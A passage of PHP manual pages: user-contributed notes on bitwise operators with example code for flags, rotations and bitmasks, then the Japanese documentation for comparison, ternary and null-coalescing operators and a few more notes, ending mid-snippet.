  const FLAG_MEMBER = 4;     // BIT #3 of $flags has the value 4
  const FLAG_ADMIN = 8;      // BIT #4 of $flags has the value 8

  public function isRegistered(){
    return $this->isFlagSet(self::FLAG_REGISTERED);
  }

  public function isActive(){
    return $this->isFlagSet(self::FLAG_ACTIVE);
  }

  public function isMember(){
    return $this->isFlagSet(self::FLAG_MEMBER);
  }

  public function isAdmin(){
    return $this->isFlagSet(self::FLAG_ADMIN);
  }

  public function setRegistered($value){
    $this->setFlag(self::FLAG_REGISTERED, $value);
  }

  public function setActive($value){
    $this->setFlag(self::FLAG_ACTIVE, $value);
  }

  public function setMember($value){
    $this->setFlag(self::FLAG_MEMBER, $value);
  }

  public function setAdmin($value){
    $this->setFlag(self::FLAG_ADMIN, $value);
  }

  public function __toString(){
    return 'User [' .
      ($this->isRegistered() ? 'REGISTERED' : '') .
      ($this->isActive() ? ' ACTIVE' : '') .
      ($this->isMember() ? ' MEMBER' : '') .
      ($this->isAdmin() ? ' ADMIN' : '') .
    ']';
  }
}

?>

This seems like a lot of work, but we have addressed many issues, for example, using and maintaining the code is easy, and the getting and setting of flag values make sense. With the User class, you can now see how easy and intuitive bitwise flag operations become.

<?php

require('User.php')

$user = new User();
$user->setRegistered(true);
$user->setActive(true);
$user->setMember(true);
$user->setAdmin(true);

echo $user;  // outputs: User [REGISTERED ACTIVE MEMBER ADMIN]

?>
Anonymous 12-Oct-2011 07:56
To make very clear why ("18" & "32") is "10".
1) they they are both strings ,
2) "&" operator works on strings by taking each !Character! from each string and make a bit wise & between them and add this value to the resulting string

So:
"18" is made up of two characters: 0x31, 0x38
"32" is made up of two characters: 0x33, 0x32
----RESULT-----
0x31 & 0x33 = 0x31 => "1"
0x38 & 0x32 = 0x30 => "0"

and the result is "10" which is 100% correct.
spencer-p-moy at example dot com 17-Sep-2011 06:21
The NOT or complement operator ( ~ ) and negative binary numbers can be confusing.

~2 = -3  because you use the formula  ~x = -x - 1  The bitwise complement of a decimal number is the negation of the number minus 1.

NOTE: just using 4 bits here for the examples below but in reality PHP uses 32 bits.

Converting a negative decimal number (ie: -3) into binary takes 3 steps:
1) convert the positive version of the decimal number into binary (ie: 3 = 0011)
2) flips the bits (ie: 0011 becomes 1100)
3) add 1 (ie: 1100  + 0001 = 1101)

You might be wondering how does 1101 = -3. Well PHP uses the method "2's complement" to render negative binary numbers. If the left most bit is a 1 then the binary number is negative and you flip the bits and add 1. If it is 0 then it is positive and you don't have to do anything. So 0010 would be a positive 2. If it is 1101, it is negative and you flip the bits to get 0010. Add 1 and you get 0011 which equals -3.
aba at example dot com 12-Aug-2011 05:07
It is true that if both the left-hand and right-hand parameters are strings, the bitwise operator will operate on the characters' ASCII values. However, a complement is necessary to complete this sentence.
It is not irrelevant to point out that the decimal character's ASCII value have different binary values.

<?php
if (('18' & '32') == '10') {
    echo ord('18'); //return decimal value 49, which have binary value 110001
    echo ord('32'); //return decimal value 51, which have binary value 110011
    echo ord('10'); //return decimal value 49, which have binary value 110001
    //Therefore 110001 & 110011 = 110001
}
?>
ivoras at gmail dot com 06-Jun-2011 04:44
As an additional curiosity, for some reason the result of the operation ("18" & "32") is "10". In other words, try avoiding using the binary operators on strings :)
josh at joshstrike dot com 11-Feb-2011 07:54
More referencing this for myself than anything... if you need to iterate through every possible binary combination where $n number of flags are set to 1 in a mask of $bits length:

<?php
echo masksOf(3,10);

function masksOf($n,$bits) {
    $u = pow(2,$bits)-1; //start value, full flags on.
    $masks = array();
    while ($u>0) {
        $z = numflags($u);
        if ($z==$n) array_push($masks,$u);
        $u--;
    }
    return ($masks);
}

function numflags($n) {
    $k = 0;
    while ($n) {
        $k += $n & 1;
        $n = $n >> 1;
    }
    return ($k);

//    alternately:
//    $u = 0;
//    for ($k=1;$k<=$n;$k*=2) {
//        $u+=($n&$k?1:0);
//    }
//    return ($u);
}
?>
amckenzie4 at gmail dot com 25-Aug-2010 08:19
If, like me, you've never thought about how PHP deals with binary, the output of the bitwise NOT may confuse you.  For instance, this:

$bin = 2;
$notbin = ~$bin;

echo "Bin: " . decbin($bin) . "  !bin:  " . decbin($notbin) . "\n";

returns this:

Bin: 10  !bin:  1111111111111111111111111111111111111111111111111111111111111101

The reason is that all binary numbers are treated as 32 bits, even if you've manually entered less.  In order to get the result I expected (01), it was necessary to AND the result with the number of bits I wanted:  in this case, 2 (the number 3, in decimal).  Be aware that all return values will have zeros removed from the left until they reach a bit that is set to 1.  Continuing the above example, the following:

$notbin_2 = ~$bin & '3';
echo "!bin & 3:  " . decbin($notbin_2) . "\n";

returns this:

!bin & 3:  1

Note that the actual value was a string of 31 zeros followed by a 1, but the zeros were not shown.  This is probably a good thing.

Furthermore, the NOT operator uses two's complement, which means the number you get may be even stranger than you expect:  using two's complement means that ~2 == -3.  There are plenty of good explanations of two's complement online, so I won't go into that question here.

If what you want is just to reverse a string of bits without any interpretation, you can use a function like this:

function bitnot($bin)
 {
   $not = "";
   for ($i = 0; $i < strlen($bin); $i++)
   {
      if($bin[$i] == 0) { $not .= '1'; }
      if($bin[$i] == 1) { $not .= '0'; }
   }
   return $not;
 }

It takes a binary string of any length, reverses the bits, and returns the new string.  You can then treat it as a binary number, use bindec() to turn it into a decimal, or whatever you want.

I hope this helps someone as much as it would have helped me a week ago!
Core Xii 11-Aug-2010 10:24
Be very careful when XOR-ing strings! If one of the values is empty (0, '', null) the result will also be empty!

<?php
var_dump(1234 ^ 0); // int(1234)
var_dump(1234 ^ ''); // int(1234)
var_dump(1234 ^ null); // int(1234)
var_dump('hello world' ^ 0); // int(0)
var_dump('hello world' ^ ''); // string(0) ""
var_dump('hello world' ^ null); // int(0)
?>

This seems rather inconsistent behavior. An integer XOR'd with zero results the original integer. But a string XOR'd with an empty value results an empty value!

My password hashing function was always returning the same hash... Because I was XOR-ing it with a salt that was sometimes empty!
Adam 15-May-2010 01:25
Be careful of order of operations.

for example, you may want to check if the second bit is set:

<?php
if ($x & 2 == 2) {
    /* code */
}
?>

is different than

<?php
if (($x & 2) == 2) {
    /* code */
}
?>

and the latter of the two should be used.
Anonymous 12-Jan-2010 10:18
Beware that PHP's << and >> operators, unlike the other bitwise operators do not work on ASCII values; << and >> cast their operands to integer (when possible) before shifting and will always return an integer result.

For example:

<?php
$foo = "1"; // chr(49)
var_dump($foo << 1); // Output is int(2)

$foo = "!"; // chr(33)
var_dump($foo << 1); // Output is int(0)
?>
zooly at globmi dot com 19-Oct-2009 07:52
Here is an example for bitwise leftrotate and rightrotate.

Note that this function works only with decimal numbers - other types can be converted with pack().

<?php

function rotate ( $decimal, $bits) {

  $binary = decbin($decimal);

  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

// Rotate 124 (1111100) to the left with 1 bits

echo rotate(124, 1);

// = 121 (1111001)

// Rotate 124 (1111100) to the right with 3 bits

echo rotate(124, -3);

// = 79 (1001111)

?>
grayda dot NOSPAM at DONTSPAM dot solidinc dot org 03-Jun-2009 08:48
Initially, I found bitmasking to be a confusing concept and found no use for it. So I've whipped up this code snippet in case anyone else is confused:

<?php

    // The various details a vehicle can have
    $hasFourWheels = 1;
    $hasTwoWheels  = 2;
    $hasDoors      = 4;
    $hasRedColour  = 8;

    $bike          = $hasTwoWheels;
    $golfBuggy     = $hasFourWheels;
    $ford          = $hasFourWheels | $hasDoors;
    $ferrari       = $hasFourWheels | $hasDoors | $hasRedColour;

    $isBike        = $hasFourWheels & $bike; # False, because $bike doens't have four wheels
    $isGolfBuggy   = $hasFourWheels & $golfBuggy; # True, because $golfBuggy has four wheels
    $isFord        = $hasFourWheels & $ford; # True, because $ford $hasFourWheels

?>

And you can apply this to a lot of things, for example, security:

<?php

    // Security permissions:
    $writePost = 1;
    $readPost = 2;
    $deletePost = 4;
    $addUser = 8;
    $deleteUser = 16;

    // User groups:
    $administrator = $writePost | $readPosts | $deletePosts | $addUser | $deleteUser;
    $moderator = $readPost | $deletePost | $deleteUser;
    $writer = $writePost | $readPost;
    $guest = $readPost;

    // function to check for permission
    function checkPermission($user, $permission) {
        if($user & $permission) {
            return true;
        } else {
            return false;
        }
    }

    // Now we apply all of this!
    if(checkPermission($administrator, $deleteUser)) {
        deleteUser("Some User"); # This is executed because $administrator can $deleteUser
    }

?>

Once you get your head around it, it's VERY useful! Just remember to raise each value by the power of two to avoid problems
Silver 12-May-2009 04:36
Regarding what Bob said about flags, I'd like to point out there's a 100% safe way of defining flags, which is using hexadecimal notation for integers:

<?php
define("f0", 0x1); // 2^0
define("f1", 0x2); // 2^1
define("f2", 0x4); // 2^2
define("f3", 0x8); // 2^3
define("f4", 0x10); // 2^4
define("f5", 0x20); // 2^5
// ...
define("f20", 0x1000000); // 2^20
define("f21", 0x2000000); // 2^21
define("f22", 0x4000000); // 2^22
define("f23", 0x8000000); // 2^23
define("f24", 0x10000000); // 2^24
// ... up to 2^31
?>

I always avoid using decimal notation when I have a large amount of different flags, because it's very easy to misspell numbers like 2^20 (1048576).
Bob 26-Apr-2009 12:19
Here is an easy way to use bitwise operation for 'flag' functionality.
By this I mean managing a set of options which can either be ON or OFF, where zero or more of these options may be set and each option may only be set once. (If you are familiar with MySQL, think 'set' datatype).
Note: to older programmers, this will be obvious.

Here is the code:
<?php
function set_bitflag(/*variable-length args*/)
{
    $val = 0;
    foreach(func_get_args() as $flag) $val = $val | $flag;
    return $val;
}
function is_bitflag_set($val, $flag)
{
    return (($val & $flag) === $flag);
}
// Define your flags
define('MYFLAGONE', 1); // 0001
define('MYFLAGTWO', 2); // 0010
define('MYFLAGTHREE', 4); // 0100
define('MYFLAGFOUR', 8); // 1000
?>

I should point out: your flags are stored in a single integer. You can store loads of flags in a single integer.

To use my functions, say you wanted to set MYFLAGONE and MYFLAGTHREE, you would use:
<?php
$myflags = set_bitflags(MYFLAGONE, MYFLAGTHREE);
?>
Note: you can pass set_bitflags() as many flags to set as you want.

When you want to test later if a certain flag is set, use e.g.:
<?php
if(is_bitflag_set($myflags, MYFLAGTWO))
{
    echo "MYFLAGTWO is set!";
}
?>

The only tricky part is defining your flags. Here is the process:
1.  Write a list of your flags
2.  Count them
3.  Define the last flag in your list as 1 times 2 to the power of <count> minus one. ( I.E. 1*2^(<count>-1) )
3. Working backwards through your list, from the last to the first, define each one as half of the previous one. You should reach 1 when you get to the first

If you want to understand binary numbers, bits and bitwise operation better, the wikipedia page explains it well - http://en.wikipedia.org/wiki/Bitwise_operation.
cw3theophilus at gmail dot com 15-Apr-2009 02:22
For those who are looking for a circular bit shift function in PHP (especially useful for cryptographic functions) that works with negtive values, here is a little function I wrote:

(Note: It took me almost a whole day to get this to work with negative $num values (I couldn't figure out why it sometimes worked and other times didn't), because PHP only has an arithmatic and not a logical bitwise right shift like I am used to. I.e. 0x80000001>>16 will ouputs (in binary) "1111 1111 1111 1111 1000 0000 0000 0000" instead of "0000 0000 0000 0000 1000 0000 0000 0000" like you would expect. To fix this you have to apply the mask (by bitwise &) equal to 0x7FFFFFFF right shifted one less than the offset you are shifting by.)

<?php
function circular_shift($num,$offset) { //Do a nondestructive circular bitwise shift, if offset positive shift left, if negative shift right
    $num=(int)$num;
    $mask=0x7fffffff; //Mask to cater for the fact that PHP only does arithmatic right shifts and not logical i.e. PHP doesn't give expected output when right shifting negative values
    if ($offset>0) {
        $num=($num<<$offset%32) | (($num>>(32-$offset%32)) & ($mask>>(31-$offset%32)));
    }
    elseif ($offset<0){
        $offset=abs($offset);
        $num=(($num>>$offset%32) & ($mask>>(-1+$offset%32))) | ($num<<(32-$offset%32));
    }
    return $num;
}
?>
m0sh at hotmail dot com 07-Aug-2008 12:03
@greenone - nice function, thanks. I've adapted it for key usage:

<?php
function bitxor($str, $key) {
    $xorWidth = PHP_INT_SIZE*8;
    // split
    $o1 = str_split($str, $xorWidth);
    $o2 = str_split(str_pad('', strlen($str), $key), $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
bartbons at debster.nl 07-Apr-2008 02:27
@kendsnyder at gmail dot com

Thanx for your great function. But your function is not 100% correct. It should be:

function safeBitCheck($number,$comparison) {
    if( $number < 2147483647 ) {
        return ($number & $comparison)==$comparison;
    } else {
        $binNumber = strrev(base_convert($number,10,2));
        $binComparison = strrev(base_convert($comparison,10,2));
        for( $i=0; $i<strlen($binComparison); $i++ ) {
            if( strlen($binNumber) - 1 <$i || ($binComparison{$i}==="1" && $binNumber{$i}==="0") ) {
                return false;
            }
        }
        return true;
    }
}

Mind the 'minus 1' on "if( strlen($binNumber) - 1 <$i".

cheers, Bart
forlamp at msn dot com 06-Dec-2007 06:35
two's complement logical operation for 32-bit.

$x must be (int) when passing it to this function to work properly.

function comp2($x)      // 32bit bitwise complement
{
    $mask = 0x80000000;

    if ($x < 0)
    {
        $x &= 0x7FFFFFFF;
        $x = ~$x;

        return $x ^ $mask;
    }
    else
    {
        $x = $x ^ 0x7FFFFFFF;

        return $x | $mask;
    }
}
zewt at hotmail dot com 11-Jan-2007 11:28
if you use bitwise you MUST make sure your variables are integers, otherwise you can get incorrect results.

I recommend ALWAYS

(int)$var & (int)$var2

This will save you many headaches when troubleshooting a completely illogical result.
Nina Cording 29-Oct-2005 09:50
For those who were searching for a way to actually rotate the bits of a number, here are some little functions I wrote:

<?php

function bitRotate32($value,$amount) {
    if ($amount>0) {
        $amount %= 32;
        $value = ($value<<$amount) | ($value>>(32-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%32;
        $value = ($value>>$amount) | ($value<<(32-$amount));
    }
    return $value;
}

function bitRotate($value,$amount,$bits) {
    $mask = ($bits<32) ? 0x7fffffff >> (31-$bits) : 0xffffffff;
    if ($amount>0) {
        $amount %= $bits;
        $value = ($value<<$amount) | ($value>>($bits-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%$bits;
        $value = ($value>>$amount) | ($value<<($bits-$amount));
    }
    return $value & $mask;
}

// test the rotation:

$test = 4123;
for ($i=0; $i<64; $i++) {
    $value = bitRotate($test,-$i,8); // rotates 8 bits to the left (-$amount)
    echo sprintf("%032b<br/>",$value);
}

?>
zlel grxnslxves13 at hotmail dot com~=s/x/ee/g 26-Oct-2005 07:30
I refer to Eric Swanson's post on Perl VS PHP's implementation of xor.

Actually, this is not an issue with the implementation of XOR,  but a lot more to do with the lose-typing policy that PHP adopts.

Freely switching between int and float is good for most cases, but problems happen when your value is near the word size of your machine. Which is to say, 32-bit machines will encounter problems with values that hover around 0x80000000 - primarily because PHP does not support unsigned integers.

using bindec/decbin would address this issue as a work-around to do unsigned-int xor, but here's the real picture (i'm not claiming that this code will perform better, but this would be a better pedagogical code):

<?php

function unsigned_xor32 ($a, $b)
{
        $a1 = $a & 0x7FFF0000;
        $a2 = $a & 0x0000FFFF;
        $a3 = $a & 0x80000000;
        $b1 = $b & 0x7FFF0000;
        $b2 = $b & 0x0000FFFF;
        $b3 = $b & 0x80000000;

        $c = ($a3 != $b3) ? 0x80000000 : 0;

        return (($a1 ^ $b1) |($a2 ^ $b2)) + $c;
}

$x = 3851235679;
$y = 43814;
echo "<br>This is the value we want";
echo "<br>3851262585";

echo "<br>The result of a native xor operation on integer values is treated as a signed integer";
echo "<br>".($x ^ $y);

echo "<br>We therefore perform the MSB separately";
echo "<br>".unsigned_xor32($x, $y);

?>

This is really foundation stuff, but for those of you who missed this in college, there seems to be something on 2's complement here:

http://www.evergreen.edu/biophysics/technotes/program/2s_comp.htm
Tbrendstrup 29-Sep-2005 05:23
note that the shift operators are arithmetic, not logic like in C. You may get unexpected results with negative numbers, see http://en.wikipedia.org/wiki/Bitwise_operation

here's a function to do logic right shifts.

<?php

function lshiftright($var,$amt)
{
    $mask = 0x40000000;
    if($var < 0)
    {
        $var &= 0x7FFFFFFF;
        $mask = $mask >> ($amt-1);
        return ($var >> $amt) | $mask;
    }
    return $var >> $amt;
}

$val = -10;

printf("arithmetic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, $val >> 1 );

printf("logic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, lshiftright($val, 1));

printf("logic shift on a positive integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",-$val, lshiftright(-$val, 1));
?>

gives the output:

arithmetic shift on a negative integer
11111111111111111111111111110110
11111111111111111111111111111011
-10
-5

logic shift on a negative integer
11111111111111111111111111110110
01111111111111111111111111111011
-10
2147483643

logic shift on a positive integer
00000000000000000000000000001010
00000000000000000000000000000101
10
5
Eric Swanson 31-Aug-2005 05:19
Perl vs. PHP implementation of the ^ operator:

After attempting to translate a Perl module into PHP, I realized that Perl's implementation of the ^ operator is different than the PHP implementation.  By default, Perl treats the variables as floats and PHP as integers.  I was able to verify the PHP use of the operator by stating "use integer;" within the Perl module, which output the exact same result as PHP was using.

The logical decision would be to cast every variable as (float) when using the ^ operator in PHP.  However, this will not yield the same results.  After about a half hour of banging my head against the wall, I discovered a gem and wrote a function using the binary-decimal conversions in PHP.

/*
not having much experience with bitwise operations, I cannot tell you that this is the BEST solution, but it certainly is a solution that finally works and always returns the EXACT same result Perl provides.
*/
function binxor($a, $b) {
    return bindec(decbin((float)$a ^ (float)$b));
}

//normal PHP code will not yeild the same result as Perl
$result = 3851235679 ^ 43814; //= -443704711

//to get the same result as Perl
$result = binxor(3851235679, 43814); //= 3851262585
//YIPPEE!!!

//to see the differences, try the following
$a = 3851235679 XOR 43814;
$b = 3851235679 ^ 43814; //integer result
$c = (float)3851235679 ^ (float)43814; //same as $b
$d = binxor(3851235679, 43814); //same as Perl!!

echo("A: $a<br />");
echo("B: $b<br />");
echo("C: $c<br />");
echo("D: $d<br />");
04-Mar-2005 03:13
A bitwise operators practical case :

<?php
    // We want to know the red, green and blue values of this color :
    $color = 0xFEA946 ;

    $red = $color >> 16 ;
    $green = ($color & 0x00FF00) >> 8 ;
    $blue = $color & 0x0000FF ;

    printf('Red : %X (%d), Green : %X (%d), Blue : %X (%d)',
        $red, $red, $green, $green, $blue, $blue) ;

    // Will display...
    // Red : FE (254), Green : A9 (169), Blue : 46 (70)
?>
icy at digitalitcc dot com 23-Feb-2005 11:24
Say... you really want to have say... more than 31 bits available to you in your happy bitmask. And you don't want to use floats. So, one solution would to have an array of bitmasks, that are accessed through some kind of interface.

Here is my solution for this: A class to store an array of integers being the bitmasks. It can hold up to 66571993087 bits, and frees up unused bitmasks when there are no bits being stored in them.

<?php
/*
    Infinite* bits and bit handling in general.

    *Not infinite, sorry.

    Perceivably, the only limit to the bitmask class in storing bits would be
    the maximum limit of the index number, on 32 bit integer systems 2^31 - 1,
    so 2^31 * 31 - 1 = 66571993087 bits, assuming floats are 64 bit or something.
    I'm sure that's enough enough bits for anything.. I hope :D.
*/

DEFINE('INTEGER_LENGTH',31); // Stupid signed bit.

class bitmask
{
    protected $bitmask = array();

    public function set( $bit ) // Set some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] |= 1 << $bit;
    }

    public function remove( $bit ) // Remove some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] &= ~ (1 << $bit);
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function toggle( $bit ) // Toggle some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] ^= 1 << $bit;
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function read( $bit ) // Read some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        return $this->bitmask[$key] & (1 << $bit);
    }

    public function stringin($string) // Read a string of bits that can be up to the maximum amount of bits long.
    {
        $this->bitmask = array();
        $array = str_split( strrev($string), INTEGER_LENGTH );
        foreach( $array as $key => $value )
        {
            if($value = bindec(strrev($value)))
                $this->bitmask[$key] = $value;
        }
    }

    public function stringout() // Print out a string of your nice little bits
    {
        $string = "";

        $keys = array_keys($this->bitmask);
        sort($keys, SORT_NUMERIC);

        for($i = array_pop($keys);$i >= 0;$i--)
        {
            if($this->bitmask[$i])
                $string .= sprintf("%0" . INTEGER_LENGTH . "b",$this->bitmask[$i]);
        }
        return $string;
    }

    public function clear() // Purge!
    {
        $this->bitmask = array();
    }

    public function debug() // See what's going on in your bitmask array
    {
        var_dump($this->bitmask);
    }
}
?>

It treats a positive integer input as a bit, so you don't have to deal with the powers of 2 yourself.

<?php
$bitmask = new bitmask();

$bitmask->set(8979879); // Whatever

$bitmask->set(888);

if($bitmask->read(888))
    print 'Happy!\n';

$bitmask->toggle(39393); // Yadda yadda

$bitmask->remove(888);

$bitmask->debug();

$bitmask->stringin("100101000101001000101010010101010
00000001000001");

print $bitmask->stringout() . "\n";

$bitmask->debug();

$bitmask->clear();

$bitmask->debug();
?>

Would produce:

Happy!

array(2) {
  [289673]=>
  int(65536)
  [1270]=>
  int(8388608)
}

0000000000000001001010001010010001010100101010100
0000001000001

array(2) {
  [0]=>
  int(355106881)
  [1]=>
  int(37970)
}

array(0) {
}


比較演算子

比較演算子は、その名前が示すように、二つの値を比較します。 型の比較表 に、型に関連するさまざまな比較の例があります。

比較演算子
例 | 名前 | 結果
$a == $b | 等しい | 型の相互変換をした後で $a が $b に等しい時に true。
$a === $b | 等しい | $a が $b に等しく、および同じ型である場合に true 。
$a != $b | 等しくない | 型の相互変換をした後で $a が $b に等しくない場合に true。
$a <> $b | 等しくない | 型の相互変換をした後で $a が $b に等しくない場合に true。
$a !== $b | 等しくない | $a が $b と等しくないか、同じ型でない場合に true 。
$a < $b | より少ない | $a が $b より少ない時に true。
$a > $b | より多い | $a が $b より多い時に true。
$a <= $b | より少ないか等しい | $a が $b より少ないか等しい時に true。
$a >= $b | より多いか等しい | $a が $b より多いか等しい時に true。
$a <=> $b | 宇宙船演算子 | $a が $b より大きいか、0か、0より小さい場合に、 それぞれ、0より大きい か、0か、0より小さい int。

オペランドが両方 数値形式の文字列 の場合、 もしくは一方が数値で、もう一方が 数値形式の文字列 の場合、 比較は数値として行われます。 これらのルールは switch 文にも適用されます。 型の変換は 演算子が === や !== の場合は行われません。 なぜなら、これらの演算子は、値と型を両方比較するものだからです。

警告

PHP 8.0.0 より前のバージョンでは、 文字列が数値または数値形式の文字列の場合、文字列は比較する前に数値に変換されていました。 これによって、以下の例で見られるような驚きの結果が生じる場合があります:

<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true

switch ("a") {
case 0:
    echo "0";
    break;
case "a": // "a" は 0 にマッチするので、決してここにはたどりつきません
    echo "a";
    break;
}
?>

<?php
// Integer
echo 1 <=> 1; // 0
echo 1 <=> 2; // -1
echo 2 <=> 1; // 1

// Float
echo 1.5 <=> 1.5; // 0
echo 1.5 <=> 2.5; // -1
echo 2.5 <=> 1.5; // 1

// 文字列
echo "a" <=> "a"; // 0
echo "a" <=> "b"; // -1
echo "b" <=> "a"; // 1

echo "a" <=> "aa"; // -1
echo "zz" <=> "aa"; // 1

// 配列
echo [] <=> []; // 0
echo [1, 2, 3] <=> [1, 2, 3]; // 0
echo [1, 2, 3] <=> []; // 1
echo [1, 2, 3] <=> [1, 2, 1]; // 1
echo [1, 2, 3] <=> [1, 2, 4]; // -1

// オブジェクト
$a = (object) ["a" => "b"];
$b = (object) ["a" => "b"];
echo $a <=> $b; // 0

$a = (object) ["a" => "b"];
$b = (object) ["a" => "c"];
echo $a <=> $b; // -1

$a = (object) ["a" => "c"];
$b = (object) ["a" => "b"];
echo $a <=> $b; // 1

// 比較するのは値だけではない; キーも一致しなければならない
$a = (object) ["a" => "b"];
$b = (object) ["b" => "b"];
echo $a <=> $b; // 1

?>

多くの型では、以下の表にしたがって（上から順に）比較が行われます。

さまざまな型の比較
第 1 オペランドの型 | 第 2 オペランドの型 | 結果
null または string | string | null を "" に変換し、数値または文字として比較します
bool または null | あらゆる型 | 両辺を bool に変換し、false < true と判断します
object | object | 組み込みクラスには独自の比較基準が定義されています。 異なるクラスは比較できません。同じクラスであるかどうかは ここで説明されています。
string, resource, int または float | string, resource, int または float | 文字列やリソースを数値に変換し、算術演算を行います
array | array | 要素数の少ない配列のほうが小さくなります。オペランド 1 のキーが オペランド 2 に存在しない場合、配列は比較できません。そうでない場合は 個々の要素の値を比較します（以下の例を参照ください）
object | あらゆる型 | object のほうが常に大きくなります
array | あらゆる型 | array のほうが常に大きくなります

例1 Boolean/null comparison

<?php
// Bool and null are compared as bool always
var_dump(1 == TRUE);  // TRUE - same as (bool)1 == TRUE
var_dump(0 == FALSE); // TRUE - same as (bool)0 == FALSE
var_dump(100 < TRUE); // FALSE - same as (bool)100 < TRUE
var_dump(-10 < FALSE);// FALSE - same as (bool)-10 < FALSE
var_dump(min(-100, -10, NULL, 10, 100)); // NULL - (bool)NULL < (bool)-100 is FALSE < TRUE
?>

例2 一般的な配列の比較

<?php
// 標準の比較演算子を用いて、配列はこのように比較されます
function standard_array_compare($op1, $op2)
{
    if (count($op1) < count($op2)) {
        return -1; // $op1 < $op2
    } elseif (count($op1) > count($op2)) {
        return 1; // $op1 > $op2
    }
    foreach ($op1 as $key => $val) {
        if (!array_key_exists($key, $op2)) {
            return null; // uncomparable
        } elseif ($val < $op2[$key]) {
            return -1;
        } elseif ($val > $op2[$key]) {
            return 1;
        }
    }
    return 0; // $op1 == $op2
}
?>

警告

浮動小数点数値の比較

ふたつの float 値が等しいかどうかを調べてはいけません。 float の内部的な表現方法がその理由です。

詳細な情報は float のドキュメントを参照ください。

参考

  • strcasecmp()
  • strcmp()
  • Array operators
  • Types

三項演算子

もうひとつの条件演算子として "?:"（あるいは三項）演算子があります。

例3 デフォルト値を設定する

<?php
// 三項演算子の使用例
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// 上記は以下の if/else 式と同じです。
if (empty($_POST['action'])) {
    $action = 'default';
} else {
    $action = $_POST['action'];
}

?>
(expr1) ? (expr2) : (expr3) という式は、式1 が true の場合に 式2 を、 式1 が false の場合に 式3 を値とします。

三項演算子のまんなかの部分をなくすこともできます。 式 expr1 ?: expr3 の結果は、expr1 が true と同等の場合は expr1、 それ以外の場合は expr3 となります。

注意: 三項演算子は式であり、値としては評価されずに式の結果として評価される ことに注意してください。演算結果をリファレンスとして返したい場合に、 これを知っておくことが大切です。結果をリファレンスとして返す関数で return $var == 42 ? $a : $b; とすることはできず、 警告が発生します。

注意:

三項演算子を "積み重ねて" 使用することは避けましょう。 ひとつの文の中で括弧で囲わずに複数の三項演算子を使用した際の PHP の振る舞いは、 他のプログラミング言語のそれと比べて、少々わかりにくいものです。 PHP 8.0.0 より前のバージョンでは、三項演算子は左から右に評価されていました。 他の殆どのプログラミング言語では、右から左に評価されます。 左から右に評価される振る舞いに依存することは、PHP 7.4.0 以降は推奨されません。 PHP 8.0.0 以降は、三項演算子はどの演算とも結合しなくなっています。

例4 三項演算子のわかりにくい挙動

<?php
// ぱっと見た感じでは、これは 'true' と表示されると思うでしょう。
echo (true ? 'true' : false ? 't' : 'f')

// しかし、PHP 8.0.0 より前のバージョンでは、実際には上の出力結果は 't' です。
// なぜなら、三項演算子は左結合だったからです。

// 上のコードをもう少しわかりやすく書くと、このようになります。
echo ((true ? 'true' : false) ? 't' : 'f');

// まず、最初の式が 'true' と評価されます。この 'true' は
// (bool)true と評価されるので、それをもとに二番目の三項
// 演算子が評価されます。
?>

Null 合体演算子

"??" 演算子 (null 合体演算子) を使うことが出来ます。

例5 デフォルト値の代入

<?php
// Null 合体演算子の使用例
$action = $_POST['action'] ?? 'default';

// 上の文は、この if/else 文と同じ意味です
if (isset($_POST['action'])) {
    $action = $_POST['action'];
} else {
    $action = 'default';
}

?>
式 (expr1) ?? (expr2) は、 expr1 が null である場合は expr2 と評価され、それ以外の場合は expr1 と評価されます。

この演算子は、左側の値が存在しない場合でも notice や warning が発生しません。 isset() と同じ挙動です。 これは、配列のキーを扱う場合に便利です。

注意: Null 合体演算子は式であることに注意しましょう。変数として評価されるのではなく、式の結果として評価されます。 変数を参照で返そうとするときには、これを意識しておくことが重要です。 参照返しの関数で return $foo ?? $bar; のように書いてもうまく動かずに、 警告が発生します。

注意:

Null 合体演算子はネストさせることもできます。

例6 Null 合体演算子のネスト

<?php

$foo = null;
$bar = null;
$baz = 1;
$qux = 2;

echo $foo ?? $bar ?? $baz ?? $qux; // 出力は 1 です

?>

User Contributed Notes

instatiendaweb at gmail dot com 21-Feb-2021 04:23
switch ("a") {
case 0:
    echo "0";
    break;
case "a": // nunca alcanzado debido a que "a" ya ha coincidido con 0
    echo "a";
    break;
}
In php 8.0 is echo "a";
yiminrong at yahoo dot ca 02-Feb-2021 01:51
The string equality operator has a big gotcha in that if both operators match the format /^0+[Ee][0-9]+$/, then the values will be considered equal. All these, which represent common use cases, will output true:

echo '0e56' == '0E31'; // comparing short hex strings
echo md5('240610708') == md5('QNKCDZO'); // comparing hashes - see comment by Ray Paseur in md5 function
echo '000e123' == '00e0123'; // permutation of a string

The reason is that strings in the format /^0+[Ee][0-9]+$/ are interpreted as a number in scientific notation and zero raised to any power is zero.

Unless it is certain that the string will not match the specific format, then === should be used instead of == for strings.
itsacon at itsacon dot net 09-Dec-2020 09:31
Be aware that the null coalesce operator (??) has a lower priority than most other operators, so parentheses are usually a good idea if the output is used in anything other than an assignment.

<?php
$var = 1;
